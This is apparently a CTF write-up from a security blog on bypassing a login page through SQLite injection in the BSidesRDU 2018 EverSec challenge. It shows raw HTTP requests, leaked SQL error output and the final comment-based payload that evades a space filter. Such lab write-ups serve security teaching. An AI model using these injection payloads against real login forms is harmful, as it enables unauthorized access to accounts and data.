Address
304 North Cardinal St.
Dorchester Center, MA 02124

Work Hours
Monday to Friday: 7AM - 7PM
Weekend: 10AM - 5PM

SQLite Injection in the EverSec CTF (BSidesRDU 2018)

There was some neat SQLite injection during the most recent EverSec CTF, and I wanted to share my solution.

SQLite Injection – Introduction

During the BSides RDU 2018 CTF, I of course found a login page.

In this case, it was slightly different from earlier years, and it actually took me some effort.

There was a second stage to this challenge, but I was unable to get it working in time. I’m hoping that I can have Gabe stand it up again for part 2!

The Challenge

The consultants portal had an administrative login page at http://192.168.0.200/admin. I’m not sure if this was found by manual browsing, or a dictionary attack.

SQLite Injection - Login

That said, default/weak credentials didn’t work, so it looked like this would be a potential injection point.

Finding the Injection

First, I tried a simple SQL injection, hoping to get something useful back.

POST /login HTTP/1.1
Host: 192.168.0.200
Content-Length: 22
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36
Origin: http://192.168.0.200
Content-Type: application/x-www-form-urlencoded
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Referer: http://192.168.0.200/admin
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: [Cookie]
Connection: close

username=%27&password=

Unfortunately, this just brought back a standard authentication error.

SQLite Injection - Invalid Password

Next, I tried a username of “admin” and a single quote (‘) as the password. This too returned a standard error message.

<marquee scrollamount='15' style='max-width:30%'>Invalid password for admin, please try again!</marquee>

When I attempted a full injection, I received back a useful error message finally.

username=admin&password='+or+1%3d1+--+-

...

Invalid characters detected, please try again

Note that the filter triggered on the spaces, which will come into play later.

Finally, I decided to try a double-quote (“) as the username, and found the injection point!

HTTP/1.1 200 OK
Content-Type: text/html;charset=utf-8
Content-Length: 192
X-XSS-Protection: 1; mode=block
X-Content-Type-Options: nosniff
X-Frame-Options: SAMEORIGIN
Connection: close
Server: thin

Fatal Error <!-- SQLite3::SQLException: near "users": syntax error: SELECT "users".* FROM "users" WHERE "users"."username" = """ AND "users"."password" = "098f6bcd4621d373cade4e832627b4f6" -->

Exploitation

Now that I knew I probably had SQLite injection, it was time to exploit it. First of all, having only injected into SQLite from time to time, this cheatsheet was invaluable.

After finally receiving my error message, I knew that I’d have to inject into the username, as the browser was hashing the password before sending it off.

First, I attempted to inject a blank username, and limit the number of results to 1, to see if I could just login.

username="/**/LIMIT/**/1&password=test

...

<!-- SQLite3::SQLException: near "" AND "": syntax error: SELECT "users".* FROM "users" WHERE "users"."username" = ""/**/LIMIT/**/1" AND "users"."password" = "098f6bcd4621d373cade4e832627b4f6" -->

When that didn’t work, I thought it was because the closing quote for username was breaking the syntax. Commenting out the rest of the query gave back and different error though.

username="/**/LIMIT/**/1--&password=test

...

<marquee scrollamount='15' style='max-width:30%'>Invalid password for "/**/LIMIT/**/1--, please try again!</marquee>

Finally, after a few different attempts, I realized that I needed to provide a username. Once I tried admin plus my injection, it worked, and I received the flag!

POST /login HTTP/1.1
Host: 192.168.0.200
Content-Length: 45
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36
Origin: http://192.168.0.200
Content-Type: application/x-www-form-urlencoded
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Referer: http://192.168.0.200/admin
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: [Cookie]
Connection: close

username=admin"/**/LIMIT/**/1--&password=test

SQLite Injection - Success

SQLite Injection – Conclusion

This was a fun challenge, and a nice change of pace from the standard SQL injection.

I’ve definitely got to brush up on my SQLite knowledge, but the cheat sheet definitely helped.

There are still 2 or 3 more challenges that I have write-ups pending for, so stay tuned!

Leave a Reply

Your email address will not be published. Required fields are marked *

This site uses Akismet to reduce spam. Learn how your comment data is processed.